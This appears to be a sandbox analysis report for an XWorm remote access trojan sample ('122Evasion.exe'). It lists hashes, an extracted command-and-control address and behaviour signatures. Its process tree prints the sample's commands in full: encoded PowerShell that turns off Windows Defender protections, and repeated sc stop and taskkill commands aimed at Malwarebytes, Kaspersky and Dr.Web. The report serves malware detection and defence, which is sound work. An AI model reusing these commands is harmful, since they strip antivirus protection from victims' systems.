Overview

overview

10

Static

static

10

122Evasion.exe

windows10-ltsc_2021-x64

10

122Evasion.exe

windows11-21h2-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    318s
  • max time network
    315s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    21/06/2026, 09:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    122Evasion.exe
  • Size 31.9MB
  • Sample260621-lb1z6sdv21
  • SHA256 e09f1523a9711952a134d5781b2f66c75fbfada40b61e08c287c57975a8c4535
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionxwormrattrojan

Malware Config

Extracted

Family

  • xworm

C2

  • 7326.info:2686

Attributes
  • install_file

    USB.exe

  • localhost

    127.0.0.1

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Detect Xworm Payload 1 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 25 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 22 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 30 IoCs
    defense_evasion
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\122Evasion.exe
    "C:\Users\Admin\AppData\Local\Temp\122Evasion.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5552
    • C:\Users\Admin\AppData\Local\Temp\122Evasion.exe
      "C:\Users\Admin\AppData\Local\Temp\122Evasion.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Checks computer location settings
      • Loads dropped DLL
      • Checks whether UAC is enabled
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:3648
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6052
        • C:\Windows\system32\sc.exe
          sc stop "KSecDD"
          4⤵
          • Launches sc.exe
          PID:3844
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5908
        • C:\Windows\system32\sc.exe
          sc stop "MRxSmb"
          4⤵
          • Launches sc.exe
          PID:2840
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4368
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMService.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5152
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im Malwarebytes.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5804
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMTray.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3372
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2316
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMWsc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1260
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1488
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAM.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:856
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6012
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im mbam.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2304
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5088
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMChameleon.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2536
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUAByAGkAdgBhAGMAeQBNAG8AZABlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBpAGcAbgBhAHQAdQByAGUARABpAHMAYQBiAGwAZQBVAHAAZABhAHQAZQBPAG4AUwB0AGEAcgB0AHUAcABXAGkAdABoAG8AdQB0AEUAbgBnAGkAbgBlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBuAHQAcgB1AHMAaQBvAG4AUAByAGUAdgBlAG4AdABpAG8AbgBTAHkAcwB0AGUAbQAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFAAVQBBAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2312
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUAByAGkAdgBhAGMAeQBNAG8AZABlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBpAGcAbgBhAHQAdQByAGUARABpAHMAYQBiAGwAZQBVAHAAZABhAHQAZQBPAG4AUwB0AGEAcgB0AHUAcABXAGkAdABoAG8AdQB0AEUAbgBnAGkAbgBlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBuAHQAcgB1AHMAaQBvAG4AUAByAGUAdgBlAG4AdABpAG8AbgBTAHkAcwB0AGUAbQAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFAAVQBBAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4104
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "AVP""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2872
        • C:\Windows\system32\sc.exe
          sc stop "AVP"
          4⤵
          • Launches sc.exe
          PID:1512
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "AVPService""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Windows\system32\sc.exe
          sc stop "AVPService"
          4⤵
          • Launches sc.exe
          PID:4824
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KAV""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\system32\sc.exe
          sc stop "KAV"
          4⤵
          • Launches sc.exe
          PID:3868
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KIS""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4020
        • C:\Windows\system32\sc.exe
          sc stop "KIS"
          4⤵
          • Launches sc.exe
          PID:5964
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KSC""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2580
        • C:\Windows\system32\sc.exe
          sc stop "KSC"
          4⤵
          • Launches sc.exe
          PID:1200
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "Kaspersky""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2224
        • C:\Windows\system32\sc.exe
          sc stop "Kaspersky"
          4⤵
          • Launches sc.exe
          PID:3572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:852
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avp.exe
          4⤵
          • Kills process with taskkill
          PID:5900
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kav.exe
          4⤵
          • Kills process with taskkill
          PID:5508
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5876
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kis.exe
          4⤵
          • Kills process with taskkill
          PID:5160
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5564
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im ksc.exe
          4⤵
          • Kills process with taskkill
          PID:2208
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3812
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kaspersky.exe
          4⤵
          • Kills process with taskkill
          PID:2288
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "drweb""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1000
        • C:\Windows\system32\sc.exe
          sc stop "drweb"
          4⤵
          • Launches sc.exe
          PID:3708
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "dwengine""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:696
        • C:\Windows\system32\sc.exe
          sc stop "dwengine"
          4⤵
          • Launches sc.exe
          PID:1120
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "drwebservice""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5328
        • C:\Windows\system32\sc.exe
          sc stop "drwebservice"
          4⤵
          • Launches sc.exe
          PID:4940
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6104
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im drweb.exe
          4⤵
          • Kills process with taskkill
          PID:5576
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im dwengine.exe
          4⤵
          • Kills process with taskkill
          PID:1108
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4868
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im drwebservice.exe
          4⤵
          • Kills process with taskkill
          PID:4336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "gpupdate /force"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4788
        • C:\Windows\system32\gpupdate.exe
          gpupdate /force
          4⤵
            PID:4656
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5388
          • C:\Windows\system32\sc.exe
            sc stop "KSecDD"
            4⤵
            • Launches sc.exe
            PID:5952
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5996
          • C:\Windows\system32\sc.exe
            sc stop "MRxSmb"
            4⤵
            • Launches sc.exe
            PID:4204
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
          3⤵
            PID:5164
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
